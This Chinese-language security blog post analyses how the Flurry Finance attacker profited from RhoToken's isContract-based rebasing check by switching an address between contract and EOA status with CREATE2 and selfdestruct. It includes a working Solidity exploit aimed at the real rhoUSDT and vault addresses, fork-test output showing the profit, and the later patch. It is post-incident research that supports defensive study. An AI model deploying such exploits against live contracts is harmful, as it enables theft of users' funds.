寫在前面
在上一篇文章中具體分析了 Flurry Finance 攻擊事件的完整攻擊流程,但仍有一個細節受篇幅限制沒有展開,本文將具體介紹。
在分析交易0x12ec3fa2db6b18acc983a21379c32bffb17edbd424c4858197ad2286b5e5d00a[1]的過程中發現瞭如下有趣的現象。
攻擊者先向某個地址轉入了一定數量的 rhoUSDT,然後在該地址上創建合約並將 rhoUSDT 轉回。神奇的是僅通過這樣的簡單轉賬操作,就使攻擊者獲利 2000 rhoUSDT。
這個獲利只佔攻擊者整體獲利的一小部分,因此容易被忽略掉。但從技術的角度看,仍值得深入分析一下。
再讀 rebase 代碼
上一篇文章提到過 RhoToken 是具有 rebase 機制的代幣。本節具體從代碼上分析這個 rebase 是如何實現的。對應合約實現在0xbf1b03ef556bb415a8e74a835d1b1ab51bcf9392[2]。
先從 balanceOf()
入手,可以看到 RhoToken 合約內部將賬戶分為 rebasing
和 non-rebasing
兩種類型。對於 rebasing
的賬戶,餘額使用 _balances[account] * multiplier
表示最終餘額。non-rebasing
則直接使用 _balances[account]
作為餘額。 multiplier 由 Vault 合約在 rebase 過程設置。 Vault 的 rebase 計算邏輯可以參考上一篇文章。
注:本文中的 multiplier 指 rebase 後設置的倍數,為 1 左右的小數,值為 RhoToken 合約中 multiplier uint256 變量除以 1e36。
相關代碼如下:
function balanceOf(address account) public view override(ERC20Upgradeable, IERC20Upgradeable) returns (uint256) {
if (isRebasingAccountInternal(account)) {
return _timesMultiplier(_balances[account]);
}
return _balances[account];
}
function _timesMultiplier(uint256 input) internal view returns (uint256) {
return (input * multiplier) / ONE;
}
/* multiplier */
function setMultiplier(uint256 multiplier_) external override onlyRole(VAULT_ROLE) updateTokenRewards(address(0)) {
_setMultiplier(multiplier_);
emit MultiplierChange(multiplier_);
emit RhoTokenSupplyChanged(totalSupply(), _timesMultiplier(_rebasingTotalSupply), _nonRebasingTotalSupply);
}
function _setMultiplier(uint256 multiplier_) internal {
multiplier = multiplier_;
lastUpdateTime = block.timestamp;
}
判定賬戶類型是 rebasing
還是 non-rebasing
通過 isRebasingAccountInternal()
完成。
function isRebasingAccountInternal(address account) internal view returns (bool) {
return
(_rebaseOptions[account] == RebaseOption.REBASING) ||
(_rebaseOptions[account] == RebaseOption.UNKNOWN && !account.isContract());
}
簡單來說判定規則如下:
-
EOA 賬戶默認為 rebasing
類型 -
合約賬戶默認為 non-rebasing
類型 -
賬戶可主動通過 setRebasingOption()
方法修改賬戶類型
這樣設計的初衷在於很多 DeFi 合約處理時不支持這類 rebasing
token,由於 rebasing
token 的 balance 可能在用戶沒有操作的情況下主動發生變化,會與許多合約內部維護的 balance 發生衝突。因此 RhoToken 選擇默認不對合約賬戶開啟 rebasing
。
賬戶可以通過調用 setRebasingOption()
主動進行賬戶類型的切換,切換時對合約內部維護的 _balances[account]
值也需要進行對應調整,以保證用戶側感知的 balanceOf()
數量保持不變。代碼如下:
function setRebasingOption(bool isRebasing) external override {
if (isRebasingAccountInternal(_msgSender()) == isRebasing) {
return;
}
uint256 userBalance = _balances[_msgSender()];
if (isRebasing) {
_rebaseOptions[_msgSender()] = RebaseOption.REBASING;
_nonRebasingTotalSupply -= userBalance;
_rebasingTotalSupply += _dividedByMultiplier(userBalance);
_balances[_msgSender()] = _dividedByMultiplier(userBalance);
} else {
_rebaseOptions[_msgSender()] = RebaseOption.NON_REBASING;
_rebasingTotalSupply -= userBalance;
_nonRebasingTotalSupply += _timesMultiplier(userBalance);
_balances[_msgSender()] = _timesMultiplier(userBalance);
}
emit RhoTokenSupplyChanged(totalSupply(), _timesMultiplier(_rebasingTotalSupply), _nonRebasingTotalSupply);
}
簡單來說:
-
當賬戶從 non-rebasing
切換成rebasing
時,其內部_balances[account]
將變成_balances[account] / multiplier
,balanceOf()
的值保持不變。 -
當賬戶從 rebasing
切換成non-rebasing
時,其內部_balances[account]
將變成_balances[account] * multiplier
,balanceOf()
的值保持不變。
由於賬戶類型不同,在進行 token 轉賬時,也需要對 rebasing
和 non-rebasing
賬戶單獨處理。代碼如下:
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override updateTokenRewards(sender) updateTokenRewards(recipient) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
// deducting from sender
uint256 amountToDeduct = amount;
if (isRebasingAccountInternal(sender)) {
amountToDeduct = _dividedByMultiplier(amount);
require(_balances[sender] >= amountToDeduct, "ERC20: transfer amount exceeds balance");
_rebasingTotalSupply -= amountToDeduct;
} else {
require(_balances[sender] >= amountToDeduct, "ERC20: transfer amount exceeds balance");
_nonRebasingTotalSupply -= amountToDeduct;
}
_balances[sender] -= amountToDeduct;
// adding to recipient
uint256 amountToAdd = amount;
if (isRebasingAccountInternal(recipient)) {
amountToAdd = _dividedByMultiplier(amount);
_rebasingTotalSupply += amountToAdd;
} else {
_nonRebasingTotalSupply += amountToAdd;
}
_balances[recipient] += amountToAdd;
emit Transfer(sender, recipient, amount);
}
function totalSupply() public view override(ERC20Upgradeable, IERC20Upgradeable) returns (uint256) {
return _timesMultiplier(_rebasingTotalSupply) + _nonRebasingTotalSupply;
}
transfer
參數中的 amount
與 balanceOf()
的邏輯保持一致。為了保證收款方收到數量與發送方發出數量一致,在更新雙方的 _balances[account]
時也需要對應的乘上或者除去 multiplier。
轉賬時會同步更新 token 中的 _rebasingTotalSupply
和 _nonRebasingTotalSupply
,並以 _rebasingTotalSupply * multiplier + _nonRebasingTotalSupply
作為 totalSupply()
。這樣可以保證在不同類型賬戶間互相轉賬後代幣總量 totalSupply()
值不會發生變化。
mint()
和 burn()
函數也有這類針對賬戶類型的不同處理,這裡不再贅述。
漏洞成因
深入細節可以看到 isRebasingAccountInternal()
中使用 account.isContract()
判斷賬戶是否是合約地址。
function isRebasingAccountInternal(address account) internal view returns (bool) {
return
(_rebaseOptions[account] == RebaseOption.REBASING) ||
(_rebaseOptions[account] == RebaseOption.UNKNOWN && !account.isContract());
}
isContract()
實際是通過 extcodesize 指令來判定賬戶是否是合約地址。
// SPDX-License-Identifier: MIT
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
OpenZeppelin 的註釋已經說得比較明確,該方法並不能準確地區分一個賬戶是 EOA 還是合約。
深入思考一下,可以發現在這種判定規則下,EOA 地址和合約地址可以在一些特定情況下進行轉化。
EOA 地址可以轉化為合約地址:
- 合約構造函數(constructor)執行時,code 為空,此時會將合約誤判為 EOA 地址,合約創建完成後,又將被判定成合約地址。 (這個技巧最為常見,在許多 CTF 題目中經常出現。)
- 賬戶創建合約的地址是可以預測的。某個地址在合約創建之前,code 為空,此時將被判斷為 EOA 地址,在該地址上創建合約之後,code 不為空,此時則又被判斷成合約地址。
合約地址可以轉化為 EOA 地址:
-
某個合約賬戶,在合約存在時被正常識別為合約地址。在合約自毀(selfdestruct)後,code 清空,此時又會被識別為 EOA 地址。
其中最自由可控的情況是 create2[3]創建的合約。create2
指令使用keccak256( 0xff ++ address ++ salt ++ keccak256(init_code))[12:]
作為要創建的合約地址。相比 create
指令使用 keccak256(rlp([sender, nonce]))
,create2
的合約地址不受 nonce
變化的影響,將始終位於同樣的地址處,更易於提前計算。
因此可以
-
計算出某個 create2
合約地址,但不進行實際的部署。該地址即可被識別為 EOA。 -
通過 create2
在地址上部署(可自毀的)合約。部署完成後該地址將被識別為合約賬戶。 -
調用前述合約的自毀函數,自毀完成後該地址將再次被識別為 EOA。 -
上述創建合約和自毀操作可以重複進行,從而可實現EOA 和合約地址間的相互轉化。
記住這個技巧,此時我們再看這個判定函數:
function isRebasingAccountInternal(address account) internal view returns (bool) {
return
(_rebaseOptions[account] == RebaseOption.REBASING) ||
(_rebaseOptions[account] == RebaseOption.UNKNOWN && !account.isContract());
}
通過實現 EOA 和合約地址間的相互轉化 也就實現了 rebasing
和 non-rebasing
賬戶間的任意切換。相比於 setRebasingOption()
切換代碼,這種特殊的切換 RhoToken 合約是無法感知到的,更無法自動更新合約內部維護的 _balances[account]
。
而 balanceOf()
計算邏輯卻會因 isRebasingAccountInternal()
不同而產生變化。
function balanceOf(address account) public view override(ERC20Upgradeable, IERC20Upgradeable) returns (uint256) {
if (isRebasingAccountInternal(account)) {
return _timesMultiplier(_balances[account]);
}
return _balances[account];
}
利用轉化前後 balanceOf()
值的差異,即可以實現獲利。
根據合約中 multiplier 值實際情況的不同,可以利用以下方式套利:
-
當 multiplier > 1
時,使賬戶從non-rebasing
(合約)切換成rebasing
(EOA),balanceOf()
將變成 multiplier 倍,從而淨賺multiplier - 1
比例的本金。 -
當 multiplier < 1
時,使賬戶從rebasing
(EOA)切換成non-rebasing
(合約),balanceOf()
將變成1 / multiplier
倍,從而淨賺1/multiplier - 1
比例的本金。
攻击细节
在正常情況,合約中的 multiplier 是大於 1 的(除非投資出現損失)。但在 Flurry Finance 攻擊事件中,由於攻擊者通過閃電貸對 multiplier 進行了操縱,因此出現了 multiplier 小於 1 情況。
根據前述分析,當 multiplier < 1
時,可以將賬戶從 rebasing
賬戶(EOA)切換成 non-rebasing
賬戶(合約)來實現套利。這樣攻擊交易中的操作細節就比較容易理解了。
再來查當時的交易 trace:
注:上圖中數值已轉化成方便人閱讀的格式,而非原始 uint256 數值,存在細微精度誤差,但不影響分析。
-
攻擊合約取出當前的 multiplier 值 0.6359 和 nonRebasingSupply 值 5793.30 -
攻擊合約向 0x5e47 地址轉賬 5793.30 * 0.6359 = 3683.99 的 rhoUSDT(忽略精度誤差)。 -
通過 create2
在 0x5e47 地址處創建合約。 -
調用 0x5e47 合約的 0x1137decb 方法,將合約上全部的 rhoUSDT 轉出。從 trace 中可以看出,此時因為 0x5e47 已經由 EOA 變成了合約,其 rhoUSDT 餘額也由 3683.99 又變成了 5793.30。 -
攻擊合約 rhoUSDT 由原本的 415409.73 變成了 417519.05,獲利 2109.32 個 rhoUSDT。
上面攻擊中有一個細節:攻擊者使用 nonRebasingSupply 值來計算獲利交易傳輸的 token 數量。原因是為了避免在 _transfer()
函數因 _nonRebasingTotalSupply -= userBalance;
算術溢出造成 revert。也正是因為這個限制的存在,導致攻擊者無法利用這個方法進行更大規模的獲利。而且由於這個限制存在,會導致攻擊發生後有一部分原本正常的 non-rebasing
賬戶的 rhoUSDT 無法 transfer 或者 burn。
漏洞利用
根據前面的漏洞原理可以編寫漏洞利用腳本,核心代碼如下:
contract SelfDestructContract {
address rhoUSDT = 0xD845dA3fFc349472fE77DFdFb1F93839a5DA8C96;
constructor(){
IERC20(rhoUSDT).approve(msg.sender, 2**256 - 1);
}
function selfDestruct() external {
selfdestruct(payable(msg.sender));
}
}
contract Exploit{
address vault = 0x4BAd4D624FD7cabEeb284a6CC83Df594bFDf26Fd;
address rhoUSDT = 0xD845dA3fFc349472fE77DFdFb1F93839a5DA8C96;
address USDT = 0x55d398326f99059fF775485246999027B3197955;
SelfDestructContract tmp;
function attack() external{
IERC20(rhoUSDT).approve(vault, 2**256 - 1);
IERC20(USDT).approve(vault, 2**256 - 1);
uint256 rebasingSupply = IRhoToken(rhoUSDT).adjustedRebasingSupply();
(uint256 multiplier, ) = IRhoToken(rhoUSDT).getMultiplier();
uint256 amount = rebasingSupply * 1e36 / multiplier;
IVault(vault).mint(amount);
tmp = new SelfDestructContract();
IERC20(rhoUSDT).transfer(address(tmp), amount);
tmp.selfDestruct();
}
function harvest() external {
IERC20(rhoUSDT).transferFrom(
address(tmp),
address(this),
IERC20(rhoUSDT).balanceOf(address(tmp))
);
IVault(vault).redeem(IERC20(rhoUSDT).balanceOf(address(this)));
}
}
Fork BSC 高度 15484858 的區塊,依次調用 attack()
, harvest()
,運行測試如下:
Exploit contract deployed to: 0x4BCD98b42fd74c8f386E650848773e841A5d332B
Assuming that the hacker has 500000U.
rebasingSupply 154966547532001023874250
multiplier 1050846493305243599605826465518234242
transfering 147468301525736993337214
tmp rebasing balance 147468301525736993337214
tmp non-rebasing balance 154966547532001023874249
rebasingSupply 2
Profit: 7498 $USDT
可以成功獲利 7k 美元。完整的環境見 cobo-blog github[4]。
關於這個利用腳本還有一些需要解釋的細節:
-
相比於前文 Flurry Finance 攻擊交易中的情況,此時的 multiplier 沒有被操縱,是大於 1 的,因此此漏洞利用腳本套利的方式與攻擊交易中不同,使用將合約自毀轉成 EOA 的形式獲利。
由於 multiplier 與 1 相差較小(約 5%),因此示例代碼執行後獲利不多。 -
利用腳本中調用完 tmp.selfDestruct()
後,tmp 合約的 codesize 並不能立刻變成 0,需要等待整個交易完成。因此需要將轉入和轉回操作分成attack()
和harvest()
兩個交易才能使用合約轉成 EOA 生效。 -
由於需要分成兩個交易,因此不能使用閃電貸,這裡需要假設攻擊者有一定初始資金才能進行攻擊。
漏洞補丁
攻擊發生後 rhoUSDT 合約進行了重新部署,新的 proxy 合約地址為 0xfe1168a882C46c94e381e775118e418ef1615315。新的 implementation 地址為 0x228265b81fe567e13e7117469521aa228afd1af1。
修改後的 RhoToken 合約如下:
contract RhoToken is IRhoToken, ERC20Upgradeable, AccessControlEnumerableUpgradeable {
modifier setDefaultRebasingOption(address account) {
// defaults to either REBASING or NON_REBASING, depending on whether account is a contract
// note the isContract() could be volatile, i.e. an EOA can turn into a contract in the future
// hence we set it to a value 1st time the account address is used in a transfer
// account owner still has the ability to change this option via setRebasingOption() at any moment
if (_rebaseOptions[account] == RebaseOption.UNKNOWN)
_rebaseOptions[account] = account.isContract() ? RebaseOption.NON_REBASING : RebaseOption.REBASING;
_;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override setDefaultRebasingOption(from) setDefaultRebasingOption(to) {
super._beforeTokenTransfer(from, to, amount);
}
function _isRebasingAccount(address account) internal view returns (bool) {
require(_rebaseOptions[account] != RebaseOption.UNKNOWN, "rebasing option not set");
return (_rebaseOptions[account] == RebaseOption.REBASING);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override updateTokenRewards(sender) updateTokenRewards(recipient) whenNotPaused {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
// deducting from sender
uint256 amountToDeduct = amount;
if (_isRebasingAccount(sender)) {
amountToDeduct = _dividedByMultiplier(amount);
require(_balances[sender] >= amountToDeduct, "ERC20: transfer amount exceeds balance");
_rebasingTotalSupply -= amountToDeduct;
} else {
require(_balances[sender] >= amountToDeduct, "ERC20: transfer amount exceeds balance");
_nonRebasingTotalSupply -= amountToDeduct;
}
_balances[sender] -= amountToDeduct;
// adding to recipient
uint256 amountToAdd = amount;
if (_isRebasingAccount(recipient)) {
amountToAdd = _dividedByMultiplier(amount);
_rebasingTotalSupply += amountToAdd;
} else {
_nonRebasingTotalSupply += amountToAdd;
}
_balances[recipient] += amountToAdd;
emit Transfer(sender, recipient, amount);
}
其中關鍵的修改:
-
實現了 setDefaultRebasingOption()
modifier,該 modifier 會根據地址是合約還是 EOA 設置一個默認的 RebaseOption。 -
_beforeTokenTransfer()
添加了setDefaultRebasingOption()
modifier。這樣在transfer/mint/burn
操作前,均會為賬戶設置一個的 RebaseOption。 -
合約內部統一使用 _isRebasingAccount()
進行賬戶類型判斷,該函數只使用前面設置的 RebaseOption 來進行判斷,不會再對合約/EOA 類型進行判斷。因此無論賬戶 EOA/合約類型如何轉化,其rebasing
、non-rebasing
類型都不會再發生變化。
至此漏洞得到了修復。
總結
整體看來,本文分析的這種攻擊方式比上篇文章中的閃電貸操縱 multiplier 要簡潔許多,但也有更多的限制。
本文的攻擊方式除了需要發現 RhoToken 合約中存在的漏洞外,還需要利用 EOA 與合約賬戶相互轉化的技巧。攻擊者不但需要熟練掌握合約層面的安全審計,還需要對以太坊底層的一些機制有所了解。
在傳統安全攻防領域,攻擊者與防守方的成本是非常不對等的。這種現像在區塊鏈安全領域更加明顯,防守方在各種層面上都處於明顯的劣勢。因此防守方必須持續提升安全技術能力,才能在持續的攻防對抗中取得勝機。
歡迎了解區塊鏈安全、智能合約審計的研究者加入Cobo 區塊鏈安全團隊,共同參與到區塊鏈安全建設中來,關注公眾號 Cobo_Labs
私信可進行簡歷投遞。
參考資料
https://bscscan.com/address/0xbf1b03ef556bb415a8e74a835d1b1ab51bcf9392#code
[3]Create2 EIP 標準:https://eips.ethereum.org/EIPS/eip-1014
[4]cobo-blog github:https://github.com/CoboCustody/cobo-blog/tree/main/Flurry_attack_2
社區組委員
Singapore
2022年4月26日